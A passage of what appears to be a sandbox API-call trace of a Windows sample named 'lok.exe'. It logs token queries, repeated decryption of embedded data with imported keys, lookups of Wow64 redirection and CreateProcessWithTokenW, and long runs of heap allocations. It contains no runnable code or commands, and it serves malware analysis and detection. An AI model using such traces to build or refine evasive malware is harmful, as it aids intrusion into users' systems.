0x7771e124 [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="CryptSetKeyParam") returned 0x777377b3 [0054.326] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0061.593] GetProcAddress (hModule=0x759d0000, lpProcName=0x2a8) returned 0x75a244f5 [0061.593] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0061.593] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0061.593] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x755a0000 [0062.165] GetProcAddress (hModule=0x755a0000, lpProcName="atexit") returned 0x755bc544 [0062.166] atexit (param_1=0x20920) returned 0 [0062.170] GetVersion () returned 0x1db10106 [0062.170] GetCurrentProcess () returned 0xffffffff [0062.170] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x18f40c | out: TokenHandle=0x18f40c*=0x84) returned 1 [0062.377] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x18f410, TokenInformationLength=0x4, ReturnLength=0x18f414 | out: TokenInformation=0x18f410, ReturnLength=0x18f414) returned 1 [0062.378] CloseHandle (hObject=0x84) returned 1 [0062.378] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " [0062.378] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" ", pNumArgs=0x18f414 | out: pNumArgs=0x18f414) returned 0x9ac318*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" [0062.378] GetProcessHeap () returned 0x990000 [0062.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1) returned 0x9a7e18 [0062.378] GetProcessHeap () returned 0x990000 [0062.378] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9a8520 [0062.379] CryptAcquireContextW (in: phProv=0x9a8520, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x9a8520*=0x9acd90) returned 1 [0063.366] GetProcessHeap () returned 0x990000 [0063.366] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9ad5b8 [0063.366] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f388, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ac448) returned 1 [0063.369] CryptDecrypt (in: hKey=0x9ac448, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ad5b8, pdwDataLen=0x9a8548 | out: pbData=0x9ad5b8, pdwDataLen=0x9a8548) returned 1 [0063.379] CryptDestroyKey (hKey=0x9ac448) returned 1 [0063.380] GetSystemWindowsDirectoryW (in: lpBuffer=0x418018, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0063.380] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x418220, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0063.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x419220, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0065.338] GetProcessHeap () returned 0x990000 [0065.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ac478 [0065.338] GetProcessHeap () returned 0x990000 [0065.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae170 [0065.338] GetProcessHeap () returned 0x990000 [0065.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9add18 [0065.338] GetProcessHeap () returned 0x990000 [0065.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9ac8f0 [0065.338] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae368) returned 1 [0065.338] CryptDecrypt (in: hKey=0x9ae368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ac8f0, pdwDataLen=0x18f3f8 | out: pbData=0x9ac8f0, pdwDataLen=0x18f3f8) returned 1 [0065.338] CryptDestroyKey (hKey=0x9ae368) returned 1 [0065.338] GetProcessHeap () returned 0x990000 [0065.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9ac918 [0065.338] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae368) returned 1 [0065.338] CryptDecrypt (in: hKey=0x9ae368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ac918, pdwDataLen=0x18f3f8 | out: pbData=0x9ac918, pdwDataLen=0x18f3f8) returned 1 [0065.338] CryptDestroyKey (hKey=0x9ae368) returned 1 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9ae368 [0065.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae3b0) returned 1 [0065.339] CryptDecrypt (in: hKey=0x9ae3b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae368, pdwDataLen=0x18f3f8 | out: pbData=0x9ae368, pdwDataLen=0x18f3f8) returned 1 [0065.339] CryptDestroyKey (hKey=0x9ae3b0) returned 1 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9ae3b0 [0065.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f390, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae438) returned 1 [0065.339] CryptDecrypt (in: hKey=0x9ae438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae3b0, pdwDataLen=0x18f3fc | out: pbData=0x9ae3b0, pdwDataLen=0x18f3fc) returned 1 [0065.339] CryptDestroyKey (hKey=0x9ae438) returned 1 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x14) returned 0x9ae180 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xd) returned 0x9add30 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1f) returned 0x9ac940 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1e) returned 0x9ac968 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xd) returned 0x9add48 [0065.339] GetProcessHeap () returned 0x990000 [0065.339] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9ae438 [0065.340] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0065.340] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0065.340] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0065.340] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0065.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77710000 [0065.341] GetProcAddress (hModule=0x77710000, lpProcName="CreateProcessWithTokenW") returned 0x7775531f [0065.341] GetProcessHeap () returned 0x990000 [0065.341] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae3b0 | out: hHeap=0x990000) returned 1 [0065.341] GetProcessHeap () returned 0x990000 [0065.341] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9add30 | out: hHeap=0x990000) returned 1 [0065.342] GetProcessHeap () returned 0x990000 [0065.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ac940 | out: hHeap=0x990000) returned 1 [0065.342] GetProcessHeap () returned 0x990000 [0065.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ac968 | out: hHeap=0x990000) returned 1 [0065.342] GetProcessHeap () returned 0x990000 [0065.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9add48 | out: hHeap=0x990000) returned 1 [0065.342] GetProcessHeap () returned 0x990000 [0065.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae438 | out: hHeap=0x990000) returned 1 [0065.342] GetProcessHeap () returned 0x990000 [0065.342] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae180 | out: hHeap=0x990000) returned 1 [0065.342] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x18f3e8, cchData=32 | out: lpLCData="\x03") returned 16 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9ae180 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9ae3b0 [0065.343] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae458) returned 1 [0065.343] CryptDecrypt (in: hKey=0x9ae458, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae3b0, pdwDataLen=0x18f3d8 | out: pbData=0x9ae3b0, pdwDataLen=0x18f3d8) returned 1 [0065.343] CryptDestroyKey (hKey=0x9ae458) returned 1 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae190 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x12) returned 0x9ae458 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae1a0 [0065.343] GetProcessHeap () returned 0x990000 [0065.343] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9ac968 [0065.343] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae478 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc) returned 0x9add48 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae488 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9ac940 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae498 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9add30 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae4a8 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26) returned 0x9ae4b8 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae4e8 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x18) returned 0x9ae4f8 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae3b0 | out: hHeap=0x990000) returned 1 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9ae530 [0065.344] GetProcessHeap () returned 0x990000 [0065.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9ac990 [0065.344] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae3b0) returned 1 [0065.344] CryptDecrypt (in: hKey=0x9ae3b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ac990, pdwDataLen=0x18f3d8 | out: pbData=0x9ac990, pdwDataLen=0x18f3d8) returned 1 [0065.344] CryptDestroyKey (hKey=0x9ae3b0) returned 1 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae540 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9add60 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ac990 | out: hHeap=0x990000) returned 1 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9ae550 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9ac990 [0065.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae3b0) returned 1 [0065.345] CryptDecrypt (in: hKey=0x9ae3b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ac990, pdwDataLen=0x18f3d8 | out: pbData=0x9ac990, pdwDataLen=0x18f3d8) returned 1 [0065.345] CryptDestroyKey (hKey=0x9ae3b0) returned 1 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae560 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a) returned 0x9ac9b8 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ac990 | out: hHeap=0x990000) returned 1 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9ae570 [0065.345] GetProcessHeap () returned 0x990000 [0065.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x1a0) returned 0x9ae918 [0065.345] CryptImportKey (in: hProv=0x9acd90, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9ae3b0) returned 1 [0065.345] CryptDecrypt (in: hKey=0x9ae3b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9ae918, pdwDataLen=0x18f3d8 | out: pbData=0x9ae918, pdwDataLen=0x18f3d8) returned 1 [0065.345] CryptDestroyKey (hKey=0x9ae3b0) returned 1 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae580 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae590 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5a0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5b0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5c0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5d0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5e0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae5f0 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae600 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc) returned 0x9add78 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae610 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc) returned 0x9add90 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae620 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc) returned 0x9adda8 [0065.346] GetProcessHeap () returned 0x990000 [0065.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae630 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae640 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae650 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae660 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae670 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae680 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae690 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x6) returned 0x9ae6a0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae6b0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x16) returned 0x9ae3b0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae6c0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9addc0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae6d0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9addd8 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae6e0 [0065.347] GetProcessHeap () returned 0x990000 [0065.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae6f0 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae700 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae710 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae720 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae730 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae740 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae750 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae760 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae770 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae780 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae790 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7a0 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7b0 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7c0 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7d0 [0065.348] GetProcessHeap () returned 0x990000 [0065.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7e0 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae7f0 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae800 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9addf0 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae810 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae820 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae830 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae840 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae850 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae860 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae870 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9ade08 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae880 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae890 [0065.349] GetProcessHeap () returned 0x990000 [0065.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8a0 [0065.349] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8b0 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8c0 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8d0 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8e0 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae8f0 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9ae900 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aead8 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeae8 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeaf8 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb08 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb18 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb28 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9ade20 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb38 [0065.350] GetProcessHeap () returned 0x990000 [0065.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb48 [0065.350] GetProcessHeap () returned 0x990000 [0065.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb58 [0065.351] GetProcessHeap () returned 0x990000 [0065.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x12) returned 0x9aeed8 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb68 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9ade38 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb78 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xe) returned 0x9ade50 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb88 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeb98 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aeba8 [0065.622] GetProcessHeap () returned 0x990000 [0065.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9ade68 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8) returned 0x9aebb8 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa) returned 0x9ade80 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9ae918 | out: hHeap=0x990000) returned 1 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4) returned 0x9aebc8 [0065.623] GetProcessHeap () returned 0x990000 [0065.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc0) returned 